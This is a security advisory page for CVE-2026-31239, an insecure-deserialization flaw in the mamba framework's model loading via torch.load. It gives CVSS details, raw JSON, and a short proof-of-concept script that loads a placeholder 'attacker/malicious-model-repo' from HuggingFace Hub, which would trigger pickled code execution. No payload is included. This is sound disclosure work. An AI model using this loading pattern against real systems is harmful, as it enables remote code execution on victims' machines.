Security Vulnerability Report
中文
CVE-2026-31239 CVSS 9.8 CRITICAL

CVE-2026-31239

Published: 2026-05-12 18:16:52
Last Modified: 2026-05-14 20:17:04

Description

The mamba language model framework thru 2.2.6 is vulnerable to insecure deserialization (CWE-502) when loading pre-trained models from HuggingFace Hub. The MambaLMHeadModel.from_pretrained() method uses torch.load() to load the pytorch_model.bin weight file without enabling the security-restrictive weights_only=True parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by publishing a malicious model repository on HuggingFace Hub. When a victim loads a model from this repository, arbitrary code is executed on the victim's system in the context of the mamba process.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

mamba language model framework <= 2.2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC: Victim code triggering the vulnerability # Ensure vulnerable mamba version is installed import os import sys def main(): try: from mamba_ssm.models.mixer_seq_simple import MambaLMHeadModel # The attacker hosts a malicious repository on HuggingFace Hub # containing a pytorch_model.bin with a crafted pickle payload. malicious_repo_id = "attacker/malicious-model-repo" print(f"[*] Attempting to load model from: {malicious_repo_id}") # This call triggers torch.load() -> pickle.loads() -> Code Execution model = MambaLMHeadModel.from_pretrained(malicious_repo_id) print("[!] Model loaded. If exploited, arbitrary code has been executed.") except ImportError: print("[-] Error: Mamba library not found.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31239", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:52.320", "lastModified": "2026-05-14T20:17:03.593", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The mamba language model framework thru 2.2.6 is vulnerable to insecure deserialization (CWE-502) when loading pre-trained models from HuggingFace Hub. The MambaLMHeadModel.from_pretrained() method uses torch.load() to load the pytorch_model.bin weight file without enabling the security-restrictive weights_only=True parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by publishing a malicious model repository on HuggingFace Hub. When a victim loads a model from this repository, arbitrary code is executed on the victim's system in the context of the mamba process."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/state-spaces/mamba", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31239-35d1e1393188810d9baedfbd8363f396", "source": "[email protected]"}]}}